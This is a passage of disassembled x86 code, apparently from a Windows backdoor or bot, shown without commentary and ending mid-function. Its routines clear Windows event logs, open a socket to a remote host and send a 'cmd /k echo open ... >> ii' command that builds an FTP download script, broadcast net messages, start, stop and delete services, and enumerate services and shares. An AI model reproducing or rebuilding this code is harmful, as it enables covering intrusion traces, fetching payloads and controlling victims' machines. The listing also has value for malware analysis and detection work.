; Attributes: bp-based frame
sub_418BBC proc near ; CODE XREF: sub_401B66+70E0p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4280C8 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_418C52
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CDBE4 ; OpenEventLogA
push edi
push eax
call dword_4CDBF4 ; ClearEventLogA
test eax, eax
jz short loc_418C44
push [ebp+arg_10]
push offset dword_43B658
loc_418C1D: ; CODE XREF: sub_418BBC+94j
lea eax, [ebp+var_294]
push eax
call sub_41C056
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 20h
jmp short loc_418C7C
; ---------------------------------------------------------------------------
loc_418C44: ; CODE XREF: sub_418BBC+57j
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_43B630
jmp short loc_418C1D
; ---------------------------------------------------------------------------
loc_418C52: ; CODE XREF: sub_418BBC+3Fj
lea eax, [ebp+var_294]
push offset unk_43B600
push eax
call sub_41C056
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 1Ch
loc_418C7C: ; CODE XREF: sub_418BBC+86j
pop edi
leave
retn
sub_418BBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C7F proc near ; CODE XREF: sub_40D86F+4F9p
; sub_40DE14+480p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4CDCA4 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_4CDC64 ; ntohs
push ebx
push 1
push 2
mov [ebp+var_E], ax
call dword_4CDCE4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_418D4A
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CDC0C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_418D4A
mov esi, 400h
push ebx
lea eax, [ebp+var_5A0]
push esi
push eax
push edi
call dword_4CDC7C ; recv
mov eax, offset byte_42A10C
push eax
push eax
push dword_4CD998
push [ebp+arg_0]
call sub_40AB14
pop ecx
push eax
push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C150
add esp, 1Ch
lea eax, [ebp+var_1A0]
push ebx
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push edi
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_418D4E
loc_418D4A: ; CODE XREF: sub_418C7F+50j
; sub_418C7F+62j
xor al, al
jmp short loc_418D67
; ---------------------------------------------------------------------------
loc_418D4E: ; CODE XREF: sub_418C7F+C9j
push ebx
lea eax, [ebp+var_5A0]
push esi
push eax
push edi
call dword_4CDC7C ; recv
push edi
call dword_4CDCFC ; closesocket
mov al, 1
loc_418D67: ; CODE XREF: sub_418C7F+CDj
pop edi
pop esi
pop ebx
leave
retn
sub_418C7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D6C proc near ; CODE XREF: sub_401B66+5547p
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4280C8 ; GetVersionExA
cmp [ebp+var_90], 4
jnz short loc_418DB1
cmp [ebp+var_8C], 0
jnz loc_418E3B
xor eax, eax
inc eax
cmp [ebp+var_84], eax
jz locret_418E39
loc_418DB1: ; CODE XREF: sub_418D6C+27j
; sub_418D6C+DFj
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call dword_4280B8 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call dword_4280BC ; GetProcAddress
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41E034
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41E034
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41E034
lea eax, [ebp+var_F8]
push eax
call sub_41E017
add eax, eax
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
mov edi, eax
push esi
call dword_42813C ; FreeLibrary
mov eax, edi
pop edi
pop esi
locret_418E39: ; CODE XREF: sub_418D6C+3Fj
leave
retn
; ---------------------------------------------------------------------------
loc_418E3B: ; CODE XREF: sub_418D6C+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418E51
cmp [ebp+var_8C], 5Ah
jnz loc_418DB1
loc_418E51: ; CODE XREF: sub_418D6C+D6j
xor eax, eax
inc eax
leave
retn
sub_418D6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E56 proc near ; CODE XREF: sub_401132+F7p
; sub_40123B+Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
pop ecx
call sub_41C0B2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_428700
call sub_41CF68
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418E56 endp
; =============== S U B R O U T I N E =======================================
sub_418E93 proc near ; CODE XREF: sub_401B66:loc_405FF7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418EF8
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_43B680[esi]
push edi
push eax
call sub_418F1A
add esp, 14h
test eax, eax
jnz short loc_418EDB
push edi
push off_43B67C[esi]
mov esi, offset dword_4DDDB0
push offset unk_43B790
push esi
call sub_41C056
add esp, 10h
jmp short loc_418F15
; ---------------------------------------------------------------------------
loc_418EDB: ; CODE XREF: sub_418E93+2Aj
push eax
call sub_418FBC
push eax
push edi
mov esi, offset dword_4DDDB0
push offset unk_43B764
push esi
call sub_41C056
add esp, 14h
jmp short loc_418F15
; ---------------------------------------------------------------------------
loc_418EF8: ; CODE XREF: sub_418E93+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DDDB0
push off_43B678[eax*4]
push offset unk_43B740
push esi
call sub_41C056
add esp, 0Ch
loc_418F15: ; CODE XREF: sub_418E93+46j
; sub_418E93+63j
mov eax, esi
pop edi
pop esi
retn
sub_418E93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F1A proc near ; CODE XREF: sub_418E93+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CDC58 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_418F41
call dword_42808C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418FB6
; ---------------------------------------------------------------------------
loc_418F41: ; CODE XREF: sub_418F1A+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CDB40 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_418F61
call dword_42808C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418FAE
; ---------------------------------------------------------------------------
loc_418F61: ; CODE XREF: sub_418F1A+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418F94
cmp eax, 3
jz short loc_418F85
jle short loc_418FA7
cmp eax, 6
jg short loc_418FA7
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CDBAC ; ControlService
jmp short loc_418F9B
; ---------------------------------------------------------------------------
loc_418F85: ; CODE XREF: sub_418F1A+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CDB48 ; StartServiceA
jmp short loc_418F9B
; ---------------------------------------------------------------------------
loc_418F94: ; CODE XREF: sub_418F1A+4Dj
push esi
call dword_4CDBB0 ; DeleteService
loc_418F9B: ; CODE XREF: sub_418F1A+69j
; sub_418F1A+78j
test eax, eax
jnz short loc_418FA7
call dword_42808C ; RtlGetLastWin32Error
mov ebx, eax
loc_418FA7: ; CODE XREF: sub_418F1A+54j
; sub_418F1A+59j ...
push esi
call dword_4CDB5C ; CloseServiceHandle
loc_418FAE: ; CODE XREF: sub_418F1A+45j
push edi
call dword_4CDB5C ; CloseServiceHandle
pop esi
loc_418FB6: ; CODE XREF: sub_418F1A+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418F1A endp
; =============== S U B R O U T I N E =======================================
sub_418FBC proc near ; CODE XREF: sub_418E93+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_419071
jz loc_41906A
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_419034
jz short loc_41902A
mov ecx, eax
sub ecx, 3
jz short loc_419020
dec ecx
dec ecx
jz short loc_419016
dec ecx
jz short loc_41900C
sub ecx, 51h
jz short loc_419002
sub ecx, 24h
jnz loc_4190E7 ; default
; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4190D9
; ---------------------------------------------------------------------------
loc_419002: ; CODE XREF: sub_418FBC+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4190D9
; ---------------------------------------------------------------------------
loc_41900C: ; CODE XREF: sub_418FBC+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4190D9
; ---------------------------------------------------------------------------
loc_419016: ; CODE XREF: sub_418FBC+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4190D9
; ---------------------------------------------------------------------------
loc_419020: ; CODE XREF: sub_418FBC+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4190D9
; ---------------------------------------------------------------------------
loc_41902A: ; CODE XREF: sub_418FBC+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4190D9
; ---------------------------------------------------------------------------
loc_419034: ; CODE XREF: sub_418FBC+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_419063
dec ecx
jz short loc_41905C
dec ecx
jz short loc_419055
dec ecx
jnz loc_4190E7 ; default
; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4190D9
; ---------------------------------------------------------------------------
loc_419055: ; CODE XREF: sub_418FBC+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_41905C: ; CODE XREF: sub_418FBC+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_419063: ; CODE XREF: sub_418FBC+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_41906A: ; CODE XREF: sub_418FBC+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_419071: ; CODE XREF: sub_418FBC+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_4190E7 ; default
; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
jz short loc_4190D4
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_4190E7 ; default
; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_419128[ecx]
jmp off_419100[ecx*4] ; switch jump
loc_419095: ; DATA XREF: .packed:off_419100o
push offset aTheSpecifiedDa ; jumptable 0041908E case 7
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_41909C: ; CODE XREF: sub_418FBC+D2j
; DATA XREF: .packed:off_419100o
push offset aTheServiceDepe ; jumptable 0041908E case 17
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_4190A3: ; CODE XREF: sub_418FBC+D2j
; DATA XREF: .packed:off_419100o
push offset aTheServiceDe_0 ; jumptable 0041908E case 10
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_4190AA: ; CODE XREF: sub_418FBC+D2j
; DATA XREF: .packed:off_419100o
push offset aTheServiceHasB ; jumptable 0041908E case 0
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_4190B1: ; CODE XREF: sub_418FBC+D2j
; DATA XREF: .packed:off_419100o
push offset aTheSpecified_0 ; jumptable 0041908E case 2
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_4190B8: ; CODE XREF: sub_418FBC+D2j
; DATA XREF: .packed:off_419100o
push offset aTheServiceCoul ; jumptable 0041908E case 11
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_4190BF: ; CODE XREF: sub_418FBC+D2j
; DATA XREF: .packed:off_419100o
push offset aTheServiceHa_0 ; jumptable 0041908E case 14
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_4190C6: ; CODE XREF: sub_418FBC+D2j
; DATA XREF: .packed:off_419100o
push offset aTheRequested_1 ; jumptable 0041908E case 3
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_4190CD: ; CODE XREF: sub_418FBC+D2j
; DATA XREF: .packed:off_419100o
push offset aTheServiceHasN ; jumptable 0041908E case 4
jmp short loc_4190D9
; ---------------------------------------------------------------------------
loc_4190D4: ; CODE XREF: sub_418FBC+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4190D9: ; CODE XREF: sub_418FBC+41j
; sub_418FBC+4Bj ...
push offset dword_4DD6E0
call sub_41C056
pop ecx
pop ecx
jmp short loc_4190FA
; ---------------------------------------------------------------------------
loc_4190E7: ; CODE XREF: sub_418FBC+36j
; sub_418FBC+89j ...
push eax ; default
; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DD6E0
call sub_41C056
add esp, 0Ch
loc_4190FA: ; CODE XREF: sub_418FBC+129j
mov eax, offset dword_4DD6E0
retn
sub_418FBC endp
; ---------------------------------------------------------------------------
off_419100 dd offset loc_4190AA ; DATA XREF: sub_418FBC+D2r
dd offset loc_4190B1 ; jump table for switch statement
dd offset loc_4190C6
dd offset loc_4190CD
dd offset loc_419095
dd offset loc_4190A3
dd offset loc_4190B8
dd offset loc_4190BF
dd offset loc_41909C
dd offset loc_4190E7
byte_419128 db 0, 9, 1, 2 ; DATA XREF: sub_418FBC+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41913A proc near ; CODE XREF: sub_401B66+44BCp
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CDC58 ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_419172: ; CODE XREF: sub_41913A+123j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CDC24 ; EnumServicesStatusA
test eax, eax
jnz short loc_4191AC
call dword_42808C ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_419263
loc_4191AC: ; CODE XREF: sub_41913A+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_41925A
lea esi, [ebp+var_188]
loc_4191BD: ; CODE XREF: sub_41913A+11Aj
mov eax, [esi+8]
dec eax
jz short loc_419209
dec eax
jz short loc_419202
dec eax
jz short loc_4191FB
dec eax
jz short loc_4191F4
dec eax
jz short loc_4191ED
dec eax
jz short loc_4191E6
dec eax
lea eax, [ebp+var_20]
jz short loc_4191DF
push offset aUnknown_0 ; " Unknown"
jmp short loc_419211
; ---------------------------------------------------------------------------
loc_4191DF: ; CODE XREF: sub_41913A+9Cj
push offset aPaused_0 ; " Paused"
jmp short loc_419211
; ---------------------------------------------------------------------------
loc_4191E6: ; CODE XREF: sub_41913A+96j
push offset aPausing ; " Pausing"
jmp short loc_41920E
; ---------------------------------------------------------------------------
loc_4191ED: ; CODE XREF: sub_41913A+93j
push offset aContinuing ; " Continuing"
jmp short loc_41920E
; ---------------------------------------------------------------------------
loc_4191F4: ; CODE XREF: sub_41913A+90j
push offset aRunning ; " Running"
jmp short loc_41920E
; ---------------------------------------------------------------------------
loc_4191FB: ; CODE XREF: sub_41913A+8Dj
push offset aStoping ; " Stoping"
jmp short loc_41920E
; ---------------------------------------------------------------------------
loc_419202: ; CODE XREF: sub_41913A+8Aj
push offset aStarting ; " Starting"
jmp short loc_41920E
; ---------------------------------------------------------------------------
loc_419209: ; CODE XREF: sub_41913A+87j
push offset aStopped ; " Stopped"
loc_41920E: ; CODE XREF: sub_41913A+B1j
; sub_41913A+B8j ...
lea eax, [ebp+var_20]
loc_419211: ; CODE XREF: sub_41913A+A3j
; sub_41913A+AAj
push eax
call sub_41C056
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4191BD
loc_41925A: ; CODE XREF: sub_41913A+77j
cmp [ebp+var_8], ebx
jnz loc_419172
loc_419263: ; CODE XREF: sub_41913A+6Cj
push [ebp+var_C]
call dword_4CDB5C ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41913A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41927A proc near ; CODE XREF: sub_401B66:loc_4060E7p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_419313
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_4192A3
dec eax
jnz short loc_4192F3
push edi
push 0
call sub_41944C
pop ecx
pop ecx
jmp short loc_4192EF
; ---------------------------------------------------------------------------
loc_4192A3: ; CODE XREF: sub_41927A+18j
cmp [ebp+arg_8], 0
jnz short loc_4192E1
push 24h
push edi
call sub_41C780
pop ecx
test eax, eax
pop ecx
jnz short loc_4192E1
push 57h
pop eax
loc_4192BA: ; CODE XREF: sub_41927A+77j
push eax
call sub_419C1A
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DD9A8
push off_43B678[eax*4]
push offset unk_43BD34
push esi
call sub_41C056
add esp, 18h
jmp short loc_419333
; ---------------------------------------------------------------------------
loc_4192E1: ; CODE XREF: sub_41927A+2Dj
; sub_41927A+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_4193A0
add esp, 0Ch
loc_4192EF: ; CODE XREF: sub_41927A+27j
test eax, eax
jnz short loc_4192BA
loc_4192F3: ; CODE XREF: sub_41927A+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DD9A8
push off_43B67C[eax*4]
push offset dword_43BD18
push esi
call sub_41C056
add esp, 10h
jmp short loc_419333
; ---------------------------------------------------------------------------
loc_419313: ; CODE XREF: sub_41927A+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DD9A8
lea eax, [eax+eax*2]
push off_43B678[eax*4]
push offset unk_43BCF4
push esi
call sub_41C056
add esp, 0Ch
loc_419333: ; CODE XREF: sub_41927A+65j
; sub_41927A+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_41927A endp
; =============== S U B R O U T I N E =======================================
sub_419339 proc near ; CODE XREF: sub_41A628+247p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_419346
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_419346: ; CODE XREF: sub_419339+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_428180
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4DDBA8, 1
mov ebp, eax
jnz short loc_419383
or byte_4DDBA8, 1
lea eax, [ebp+1]
push eax
call sub_41D795
pop ecx
mov dword_4DD940, eax
loc_419383: ; CODE XREF: sub_419339+32j
push esi
push esi
push ebp
push dword_4DD940
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4DD940
pop edi
pop ebp
pop ebx
pop esi
retn
sub_419339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193A0 proc near ; CODE XREF: sub_41927A+6Dp
; sub_41A94E+18Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_41940B
push [ebp+arg_4]
mov edi, eax
call sub_41940B
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C780
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_41940B
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CDB58
pop edi
leave
retn
sub_4193A0 endp
; =============== S U B R O U T I N E =======================================
sub_41940B proc near ; CODE XREF: sub_4193A0+Ap
; sub_4193A0+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419418
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419418: ; CODE XREF: sub_41940B+9j
push ebx
push esi
mov esi, dword_428184
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D795
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_41940B endp
; =============== S U B R O U T I N E =======================================
sub_41944C proc near ; CODE XREF: sub_41927A+20p
; sub_41A628+1BCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41940B
push [esp+8+arg_4]
mov esi, eax
call sub_41940B
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CDB30
pop esi
retn
sub_41944C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41946F proc near ; CODE XREF: sub_401B66+45ADp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_41940B
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 18h
loc_4194A8: ; CODE XREF: sub_41946F+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CDBA8
mov ebx, eax
cmp ebx, esi
jz short loc_41950B
cmp ebx, 0EAh
jz short loc_41950B
push ebx
push ebx
call sub_419C1A
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_43BD80
push eax
call sub_41C056
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 24h
jmp short loc_419578
; ---------------------------------------------------------------------------
loc_41950B: ; CODE XREF: sub_41946F+5Dj
; sub_41946F+65j
xor edi, edi
inc edi
cmp [ebp+arg_C], edi
jb short loc_41956F
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419519: ; CODE XREF: sub_41946F+FCj
push dword ptr [esi+10h]
call dword_4CDB4C ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_419530
mov eax, offset aNo ; "No"
loc_419530: ; CODE XREF: sub_41946F+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419519
xor esi, esi
loc_41956F: ; CODE XREF: sub_41946F+A2j
push [ebp+var_4]
call dword_4CDCF4
loc_419578: ; CODE XREF: sub_41946F+9Aj
cmp ebx, 0EAh
jz loc_4194A8
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41946F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419590 proc near ; CODE XREF: sub_401B66:loc_40617Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_419634
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_4195D2
dec eax
jz short loc_4195C7
dec eax
jnz short loc_4195ED
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_4196D6
add esp, 14h
jmp short loc_4195E9
; ---------------------------------------------------------------------------
loc_4195C7: ; CODE XREF: sub_419590+1Dj
push ebx
push edi
call sub_4196B5
pop ecx
pop ecx
jmp short loc_4195E9
; ---------------------------------------------------------------------------
loc_4195D2: ; CODE XREF: sub_419590+1Aj
cmp [ebp+arg_8], edi
jz short loc_4195E6
push [ebp+arg_8]
push ebx
push edi
call sub_41965B
add esp, 0Ch
jmp short loc_4195E9
; ---------------------------------------------------------------------------
loc_4195E6: ; CODE XREF: sub_419590+45j
push 57h
pop eax
loc_4195E9: ; CODE XREF: sub_419590+35j
; sub_419590+40j ...
cmp eax, edi
jnz short loc_41960D
loc_4195ED: ; CODE XREF: sub_419590+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DDBB0
push off_43B67C[eax*4]
push offset unk_43BE38
push esi
call sub_41C056
add esp, 10h
jmp short loc_419654
; ---------------------------------------------------------------------------
loc_41960D: ; CODE XREF: sub_419590+5Bj
push eax
call sub_419C1A
push eax
lea eax, [esi+esi*2]
